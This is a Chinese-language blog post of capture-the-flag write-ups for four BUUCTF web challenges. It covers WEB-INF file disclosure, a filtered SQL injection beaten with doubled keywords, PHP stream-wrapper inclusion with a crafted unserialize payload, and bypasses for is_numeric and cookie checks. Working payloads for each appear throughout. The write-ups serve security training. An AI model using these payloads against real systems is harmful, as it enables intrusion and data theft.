Web-6(21-24)-BUUCTF平臺

本篇內容
[RoarCTF 2019]Easy Java
[極客大挑戰 2019]BabySQL
[ZJCTF 2019]NiZhuanSiWei
[極客大挑戰 2019]BuyFlag

上一篇 | 目錄 | 下一篇

[RoarCTF 2019]Easy Java

開頭一個登錄框,使用用戶名爲admin,密碼爲admin888登錄成功發現提示flag不在這裏(至於猜不到admin888倒是可以用字典暴破的,這裏不細寫)。
在這裏插入圖片描述
返回首頁點擊help
在這裏插入圖片描述
嘗試一番後發現不會寫,百度,大佬文章:[RoarCTF 2019]Easy Java
截取重要的一段話:

WEB-INF主要包含一下文件或目錄:
/WEB-INF/web.xml:Web應用程序配置文件,描述了 servlet 和其他的應用組件配置及命名規則。
/WEB-INF/classes/:含了站點所有用的 class 文件,包括 servlet class 和非servlet class,他們不能包含在 .jar文件中
/WEB-INF/lib/:存放web應用需要的各種JAR文件,放置僅在這個應用中要求使用的jar文件,如數據庫驅動jar文件
/WEB-INF/src/:源碼目錄,按照包名結構放置各個java文件。
/WEB-INF/database.properties:數據庫配置文件

漏洞檢測以及利用方法:
通過找到web.xml文件,推斷class文件的路徑,最後直接class文件,在通過反編譯class文件,得到網站源碼。

一般情況,jsp引擎默認都是禁止訪問WEB-INF目錄的,Nginx 配合Tomcat做均衡負載或集羣等情況時,問題原因其實很簡單,Nginx不會去考慮配置其他類型引擎(Nginx不是jsp引擎)導致的安全問題而引入到自身的安全規範中來(這樣耦合性太高了)。

然後發現原來是要換請求方式啊,換了之後發現了是跟Tomcat有關的報錯,那就看看配置文件web.xml,在WEB-INF/web.xml。
在這裏插入圖片描述
看到了貌似與flag有關的東西com.wm.ctf.LoginController,查看一下:

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在這裏插入圖片描述
看到Zmxh字眼就知道base64的flag出來了,base64解密一下就能拿到最終flag。
在這裏插入圖片描述





[極客大挑戰 2019]BabySQL

熟悉的界面,類似與我之前寫的[極客大挑戰 2019]LoveSQL
在這裏插入圖片描述

以下內容都是填在框中的,這裏這麼寫只是爲了方便表述。當然的,在hackbar下只需要將#改成%23即可。

username=1&password=123				//顯示 NO,Wrong username password!!!
username=1'&password=123			//報錯
username=1'#&password=123			//顯示 NO,Wrong username password!!!
username=1' or 1=1#&password=123	//顯示 Error!

看來是存在過濾了,嘗試後發現可以異或注入,Fuzz模糊測試一下。
在這裏插入圖片描述
發現被過濾了好多啊,嘗試雙寫繞過,成功。

以下內容都是填在框中的,這裏這麼寫只是爲了方便表述。當然的,在hackbar下只需要將#改成%23即可。

username=1' oorr 1=1#&password=123	//顯示 Login Success!

開始嘗試order by猜字段數
username=1' oorrder bbyy 4#&password=123	//顯示 Unknown column '4' in 'order clause'
username=1' oorrder bbyy 3#&password=123	//顯示 NO,Wrong username password,說明有3個字段

開始爆庫、爆表、爆列、爆字段
username=1' ununionion seselectlect 1,2,3#&password=123			//顯示 Hello 2!Your password is '3',這裏表明有2,3兩個回顯位
username=1' ununionion seselectlect 1,database(),3#&password=123	//得到庫名“geek”
username=1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()#&password=123	//得到表名“b4bsql,geekuser”
username=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#&password=123	//得到列名“id,username,password”
username=1' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql#&password=123	//得到flag

在這裏插入圖片描述





[ZJCTF 2019]NiZhuanSiWei

訪問網址給了一段源碼:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
//GET傳入的text參數要爲文件,用file_get_contents讀取後的值爲“welcome to the zjctf”
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    //GET傳入的file參數不能含有flag
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

文件包含的題目,嘗試讀取一下useless.php,payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

然後POST:welcome to the zjctf

在這裏插入圖片描述
base64解密一下得到useless.php內容:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){ 
        	//讀取文件 $this->file 裏的內容
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

提示有個flag.php,可惜不能直接用file得到flag.php的內容,因爲file不能含有flag字眼。
不過還有一個參數password沒用上,注意到傳入的password會被反序列化然後輸出。
那就創建一個Flag對象,使其的$file屬性指向flag.php,因爲在Flag類裏有一個file_get_contents方法將文件裏的內容讀取,然後echo輸出。將創建的Flag對象序列化後賦值給password。

$test = new Flag();
$test->file = 'flag.php';
echo serialize($test);

在這裏插入圖片描述
payload:

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然後POST:welcome to the zjctf

在這裏插入圖片描述
拿到最終flag。





[極客大挑戰 2019]BuyFlag

點擊MENU裏的PAYFLAG跳轉到如下頁面:
在這裏插入圖片描述
右鍵源代碼發現:

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	//POST的password不能爲數字
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	//password要等於404
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

這裏要讓password爲404,就需要繞過,這裏由於is_numeric()函數存在漏洞,只需要在後面加一個%20空格就可以繞過。
題目的“ You must be a student from CUIT!!! ”要求,我是用Google插件“EditThisCookie
”查看Cookie時發現有個user=0,改爲user=1就能滿足這個條件。
在這裏插入圖片描述
題目的“ You must be answer the correct password!!! ”要求,POST一個password=404%20就能繞過:
在這裏插入圖片描述
最後就是買flag了,POST一個money=100000000發現出問題了,傳入的太長了,想到是不是可以數組繞過,嘗試一下money[]=1發現就得到了flag。
在這裏插入圖片描述




========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處
本文網址:https://blog.csdn.net/hiahiachang/article/details/105436224
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章